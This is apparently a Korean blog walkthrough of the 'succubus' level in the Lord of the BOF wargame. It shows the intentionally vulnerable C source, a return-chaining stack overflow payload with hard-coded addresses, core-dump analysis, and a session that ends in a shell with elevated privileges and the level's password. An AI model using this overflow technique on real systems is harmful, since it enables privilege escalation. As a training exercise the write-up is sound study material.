/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


소스가 길어서..

함수 순서대로 호출하고 system 함수 호출하는 레벨.

ROP 개념을 연습해보는 문제다.


그러려면 함수 주소를 알아야겠지?


<함수 주소>


.

readelf -s ./succubus | grep FUNC


심볼 테이블을 출력하는 명령어.

함수명만 grep 했다.(필터링)

gdb보다 빨리 찾을 수 있다.


<payload 구성>


 ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xff"'`

함수들을 순서대로 호출하고

마지막 MO 함수의 RET는 BBBB로 덮고

MO 함수의 매개인자 cmd, 즉 system 함수에 쓰일 cmd의 주소는 \xff\xff\xff\xff로 덮어놨다.


이제 남은 일은 cmd의 주소를 &/bin/sh로 덮어씌우는 것이다.

문제 소스 코드에서 메모리를 모두 초기화 해 버리고 라이브러리 영역을 못 쓰게 했지만

잘 보면 buffer 중 104 바이트만이 초기화 되지 않았다.

무슨 말이냐? 우리의 페이로드 중 dummy 'A'*44는 초기화 되고, 그 이후 104 byte는 초기화 되지 않았다.

즉, /bin/sh를 입력할 공간이 버퍼에 충분히 있다는 것이다. 이게 가장 쉬운 방법이다.

이제 페이로드 뒤에 /bin/sh를 입력하고 코어 덤프를 확인해보자.

코어 덤프를 확인하기 위해서는 바이너리 파일을 tmp 디렉토리로 카피해야 한다.





cp succubus /tmp

cd /tmp

 ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\xff\xff\xff\xbf"+"/bin/sh"'`

gdb -q -c core

x/1000s $esp-40



0xbffffa78에서 /bin/sh를 찾을 수 있다.

<여담>

필자의 경우, 페이로드를 ~ "BBBB" "\x01\xfd\xfd\xbf" 로 입력하였더니

/bin/sh이 짤려보였다. 왜 짤린 것일까? 확인해보니



\xfd라는 문자에 의해 문자열이 '짤려보이는 것'이었다.

실제로 잘린 것은 아니다.


여담은 이 정도로 하고, 이제 바로 exploit을 시도하면 된다.


<exploit>



[zombie_assassin@localhost /tmp]$ ln -sf ~/succubus succubus 

[zombie_assassin@localhost /tmp]$ ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x78\xfa\xff\xbf"+"/bin/sh"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBx�in/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay

bash$


쉘을 따냈다!

succubus의 패스워드는 here to stay



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (2) 2015.11.19
LOB succubus -> nightmare  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/